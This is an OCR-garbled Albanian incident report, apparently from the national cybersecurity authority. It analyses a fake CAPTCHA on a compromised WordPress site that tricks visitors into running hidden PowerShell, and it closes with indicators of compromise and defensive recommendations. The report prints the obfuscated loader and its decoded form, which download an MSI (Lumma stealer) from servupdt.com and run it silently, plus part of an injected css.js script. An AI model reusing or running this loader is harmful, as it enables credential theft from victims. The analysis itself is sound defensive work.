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Ky raport ka kufizime dhe duhet interpretuar me kujdes!
Disa nga kéto kufizime pérfshijné:

Faza e paré:

Burimet e informacionit: Raporti €shté bazuar n€ informacionet t€ vendosura né€ dispozicion né
momentin e pérgatitjes sé€ tij. Ndérkohé, disa aspekte mund t€ jené t€ ndryshme nga zhvillimet
aktuale.

Faza e dyté:

Detajet e analizés: Pér shkak té kufizimeve burimore, disa aspekte té skedarit keqdashé€s mund té
mos jené analizuar thell€sisht. Cdo informacion shtesé 1 panjohur mund té reflektojé né€ ndryshime
té raportit.

Faza e treté:

Siguria e informacionit: Pér t&€ mbrojtur burimet dhe informacionet konfidenciale, disa detaje
mund t€ jené t€ zbutura ose jo t€ pérfshira né€ raport. Ky vendim &shté marré pér t€ mbajtur
integritetin dhe siguriné e t& dhénave té pérdorura.

AKSK rezervon té drejtén pér té ndryshuar, pérditésuar, ose ndryshuar cfarédo pjesé té
kétij raporti pa lajmérim paraprak.

Ky raport nuk éshté njé dokument pérfundimtar.

Gjetjet e raportit bazohen né informacionin e disponueshém gjaté kohés sé hetimit dhe analizés.
Nuk ka garanci né lidhje me ndryshime té mundshme apo pérditésime té informacioneve té
raportuara gjaté periudhés né vijim. Autorét e raportit nuk marrin pérgjegjési pér pérdorimin e
gabuar ose pasojat e ndonjé vendimmarrjeje té bazuar né kété raport.
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Informacione Teknike

Referuar raportimit t&€ datés 12 Shkurt 2026 drejt Autoritetit Kombétar pér Siguriné Kibernetike,
lidhur mbi nj€ proces t€ dyshimté verifikimi shtesé né portal online qé operon né Republikén e
Shqipéris€, u evidentua se gjaté aksesimit t& ndérfaqjes kryesore shfaget né pamje té paré njé
CAPTCHA pér verifikim té pérdoruesit nése &shté 1 vérteté apo jo. Fillimisht u krye nj€ analizé
fillestare nga ku u verifikua se hosti ishte momentalisht offline dhe mé pas me metoda forensike u
krye analizé mé e detajuar.

To verify your request

follow the instructions below

& Use the keyboard in this order:
1 Pressi@+X

2 Press | (or choose
Terminal/PowerShell)

3 PressCtrl+V

4 Press Enter

Figura 1. FAKE CAPTCHA.

Analiza e Incidentit

Kjo formé e cila shfaqet gjaté ngarkimit té faqes nuk &shté legjitime, pasi nése ndjekim hapat sipas
radhés do evidentojmé se komanda e kopjuar do jeté njé komandé né¢ Powershell e cila Eshté e
fshehur.

— e = — e - = 5

5v9477zbob="2477633d4e65772d4£626a6563742028274e272b2765742e576562436Cc696567427293h24646c3d2827446f776e
$v9ebfwljb=5v9477zbob -split '(.{2})"' =-ne '';$viv3rpdik=New-Object byte[] ($v9ebfw0jb.Length) ;

for ($v9ioco945z=0;5v9%ic0945z -1t Sv9ebfwljb.lLength;$v9ico945z++) {$vivirpdik[$v9ico945z]=[byte]

|( "0x"+5v9ebifwlib[$vIico9452]) } ; $v400yevzk=[Text .Encoding] : :UTFS.GetString ($vivirpdik) ;
SviolzrvvE=[Environment] ::TickCount;$v45jdvugl=('1'+"cx") ;& $v45jdvug0 5v400yevzk exit

Figura 2. Kodi i obfuskuar powershell.

Nése kété pjesé kodi e ndjekim me procesin debug, evidentohet se pjesa e kodit g€ shfaget €shté
shkarkimi 1 njé skedari me ané té€ New-Object(Net WebClient) nga njé url
https[:]//servupdt.com/. Mé& pas krijohet njé direktori temp ku ruhet ky skedar me njé emér
rasté€sor dhe 1 vendoset prapashtesa *.msi . Ky skedar ekzekutohet me ané t€ msiexec dhe me
parametér /i emér_skedari.msi.

Njé format mund té jet€¢ TEMP%\{12hex}\{8hex}.msi then msiexec.exe /i ... /qn.
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Ky skedar gjaté fazés sé analizés rezulton se nuk ndodhet mé i hostuar, por nga OSINT rezulton
se skedari msi i cili ekzekutohet ésht¢ LUMMA stealer, njé skedar keqdashés i cili merr dhe
eksfiltron t€ dhéna sensitive (kredencialet e PC,browserit, VPN etj) drejt njé domaini té
paracaktuar.

Untitled1.ps1 | s.psT X

1 $wc=New-Object ('N'+'et.webClient');
$d1=("DownloadF'+'ile");

3 $pi=('D'+'jagnostics.ProcessStartInfo');

4  $dp=('Diagno’+'stics.Process');

5 [Net.ServicePointManager]::SecurityProtocol=3072;

6

8

$u=(|https://ser'+"vupdt.com/ap' +'[i/index.php?'+'a=d1&to"+ 'ken=4alf23"+'5%9e244ef8abc'+'6ef84c9685"+'a383588ceb’+ " 'e360ela’

9  $d=[10.Path]::Combine([I0.Path]::GetTempPath(), [Guid]::NewGuid().ToString('N").Substring(0,12));
10 [I0.Directory]: :CreateDirectory($d)=$null;

12 $f=%d+"\"+[Guid]: :NewGuid().ToString('N").Substring(0,8)+" .msi";
13 $we. $d1(Su,$F);

14

15 Eif([10.File]::E

16 $s=New-Object

17 $5.Arguments= T
18 $s.WorkingDirectory=%d;

19 $pr=New-Object $dp;

20 $pr.startInfo=%s;

21 $pr.start(Q>%null

22 [}

23

Figura 3. Kodi i vérteté powershell.

Né domainin keqdashés u evidentua njé skedar javascript me emrin css.js i cili rezulton té keté
nj€ kod té obfuskuar.

resnes ancuive  |hipsd//servupdt.comiapiicss js

LEUBSEATEETD = o

WBSwombat$assign$function F(!self._WB_pmw){self._ WB_pmu=funct
window = WB$wombat$assign§run ¢
self WB$sombat$ass:

document

location =

n
ign$function ("opens");
{var tmpBuf2=screen.colorDepth||24;var configset27=screen.pixelDepth||24;var bufval2s='7e43ce3798c536c16af78dfo5cccatol688bboc204966a41a9a7 cacc3s *svar refsets9-document.createElemer
*5625bb59Tbb15fac@4dfadda27c6821482b97b777F34a32ddd5a38F4c7fbla25e63eel7f1a316e01 e8ef d9533aa8 760165d4ad73b65779487ed99563 cefcel72dab53bfeS4abd4al 9218c64d3b769F 19af7d11871
£1360a9a7ed989779b2Fb3d2af75ecddea1c e 42618987bdB5563ce5dF581c9175cF9a658238beddadnIB5e1483c42f18e4dcc2fO5T6FBead1182cFBdd1b78c43dbBe516e18998e 38328 ce3ae2baaf c9d5 7c22513e8e88Fb3731dd 3684363
70d9866T9e39a3c2a21d8bease234ee9e239b64d23deBaaes34f36e6c7127ab53bfFedce14ad7ad9333a2dc75484FF 584450 32615F6e586a37b13c fec21008162d69164852 fadadcd7 c97f23a622h90e 224505 2Fdad3eans 7d1ecbfd32179175d48¢
9e39bfc2a70388eadd295290f 24275271999 C 78aach112dbd43b88d778F2ebbe o b64d1ef6e59db37517ceed21119b79c79a11 fa60d7adde7 cafc@6T1b7fI08FAbd 22 Fleefee86a06715cbf85e7ecedca2e516e1dad:
ca7cebd9334661c3e5289c4a618987eacc1878eS 90e22- 89c5b9835c62aaBFAB77ed5debe21acbqad?addd7cecBF211b62dca7bae250618ed1f fc252 2badBa7463ee17b8e 516e14a94e19F29af
c1d3begcabe2a5870c. fafe492fade31addbesob25c1b76dfded2ecdc 2e49ca4a37a8845¢c 2bbaa3eBbeac eea587e29c25abc@6FASTS
63ae6c90d37afa7f1eb5 faedBdbafos28b8df 7252249 FF376e
6fc6dSadce147ae2dcBa33bdedbeadbacdbBeeadf32edc8601checT: e5421a4cb1161e215F8h142b119cda2d F3baddb6A1 feacdec7a304? @e36ac5hf1a619b1059b149733a28d2d4a63c4b6 745! d
cese2cfedsed79e118e8aa5abaodose3de2ebecc2f1b7ed b7l 9af9 35133bb55f4acs5e346dses c3ba724ceadesefod2ec7s o 3dfee0472d7ad6abs0620df coedBedd
c11d2da153fdeb55ae67d5a1d234b8db711b319 fed74Fo b3ef2F346a752750b948F dfod69bFocabT?
62d68 5b9d2a31980ead23c44e2824b1887791c3Fbd48861a 5 3c: 3746 3 bcBcc1878aag85e63ee7adog 9199 8 4b6177aa387 eacc1831ec885637b747 fda:
a48coee39538eb87274e2befoda6c13502e6899ebe791bdef731158b65caBC728443d7f 6Ta7cec821482h90e270e41361d287 de9dc5022bda4f1a258e929b8 f 89566707 c9e730179c76db91698e3chy
d036a9db210b6dd7e239b6113¢cI2adeacc1878e6cdBab3be56F6a05a830bBaeBa52ea08 F3c482c97F90eb64a6189cbatoB1830Fac] 3c22bd5 2b8FB16e64dc 2e11e98e695329¢
3a622b98e224faBf 3589 c5a6835b33efcc3d2cbb5gech75Tad19d7bBde1889e9403d47e49d46da2502e 2e28eb37b1 7d Fe62a118772cbfe3ce14ad7ad9c 39b: 8 2179175d48a758a35b5c2a461F7a52148:
3a622b90e224 20T 358962680572 fef cc3130ec@abBab3adabc c87d7 cecfodad7 o 24cdf2abcc@578e4dd122fF53d926516e14a91 f89e3TbBc66e062bd6a770
c1751a64dcac61e44a7cB9c0afobl819e8c70c378d58T6b144ae069beB827425948b482b90e224b64: 4c78fec]1326a142ecBc52e157d7fe952898c66c0d64c5b62ched 36194
6e14ad7ad9333a2dc754864c0b677b65761e6c5a8895b2Cadc90d30a750F6edadbc46d7e28028a5c06 T 1b2becbe24ed176d89dceadf 513Fedc91279ee547aba2b3050be1952ee2d 68065 d1ae24eb437aa387eacc 187
d1566be717a5fb16a26+ 8208a5c264077ecdea?@f f0724c6d2beas5c71a3937463ee17b8bB3 ccbdad7addo3dbfd66feb2bdeb76af51e28c6c9eaBaSd2ce9cAI430a159c facd2a93e9eed9533b9db291d79dcee24f91a35cOcBa49F1478 Fec1132¢
Seece550a41e94e5a735h8c7550166d5ad71e24234dbchebec! ec1112dbd1bbab15facafosfss411bfa63a622boae224b64a6189ceaccc1079f8cdad33e058f3ec16b50285e2877ca2ca76484ec2babbed4266c 1d3beac 677 faaB35e 31abadeset

Figura 4. css.js.

Pér té paré sjelljen e kétij kodi u simulua né njé ambient sandbox njé faqe webi e cila thérret css.js
gjaté renderimit té€ tij. Ajo cfaré shfaget &shté e njéjta CAPTCHA si né domain-in e
komprometuar. Pra rezulton se e njéjta logjiké kodi ekziston dhe né host ku &shté ngritur ky
website. Nga analiza e métejshme OSINT u evidentua se website &shté i krijuar me ané té
wordpress dhe duhet té kontrollohen menjéheré plugin t€ instaluar pér arsye se skedari css.js €shté
vendosuar né ményré t€ paautorizuar.
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P Load JS Example X

@ File C:/Users/flare/Desktop/Newd%20folder/s.html|

To verify your request
follow the instructions below

BB Use the keyboard in this order:
1 Pressu@+X
2 Press| (or choose
Terminal/PowerShell)
3 PressCtrl+V
4 Press Enter

Figura 5. Simulim i kodit keqdashés

Indikatorét e Komprometimit

A434F3B1CO67E8ACF5B0D6528D778DEEB13DB92C26089AF39C987340711B3802

CSS.jS

EDC479E745D13F82347D06D4E1EA7A894864072663ADESI1EFB6A1322CCO0129E | Script.psl

https[:]//servupdt.com Domain

Rekomandime

Autoriteti Kombétar pér Siguriné Kibernetike rekomandon:

Bllokimin e menjéhershém té Indikatoréve t¢ Komprometimit, t&€ pérmendura mé sipér né
pajisjet tuaja mbrojtése.

Kontrollin e skedarit css.js nése ka kod t& fshehur.

Verifikimin e panelit t€ menaxhimit t€ Wordpress pér aktivitet t€ dyshimté.

Kontrollin dhe pérditésimin e plugins t€ instaluar né Wordpress.

Instalimin e Plugins té zyrtarizuar.

Analizimin e vazhdueshém t€ logeve q€ vijné nga SIEM (Security information and Event
Management).

Instalimin e pajisjeve t€ perimetrit t€ rrjetit qé b&jné analizé€ t& thellé té trafikut duke u
mbéshtetur jo vetém né rregullat e listave t&€ aksesit por edhe né sjelljen e tij (Firewall-et
NextGen).

Verifikimin e formave t€ upload dhe vendosjen e njé Sandbox pér analizén e skedareve té
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ngarkuar né té.

Verifikimin e statusit t€ databazés ku €shté instaluar website.

T¢€ aplikohen filtra té trafikut né€ rastin e aksesimit n€ distancé t€ hosteve (punonjésve/palé té
treta/klienté).

T¢ implementohen zgjidhje g€ kryen filtrimin, monitorimin dhe bllokimin e trafikut keqdashés
ndérmjet aplikacioneve Web dhe internetit, Web Application Firewall (WAF).

T€ kryhen analiza t€ trafikut n€ nivel sjellje “behaviour” pér pajisjet fundore, aplikimi 1
zgjidhjeve EDR, XDR. Kjo sjell analizén e skedaréve keqdashés jo vetém né nivel signature
por dhe né nivel behaviour.
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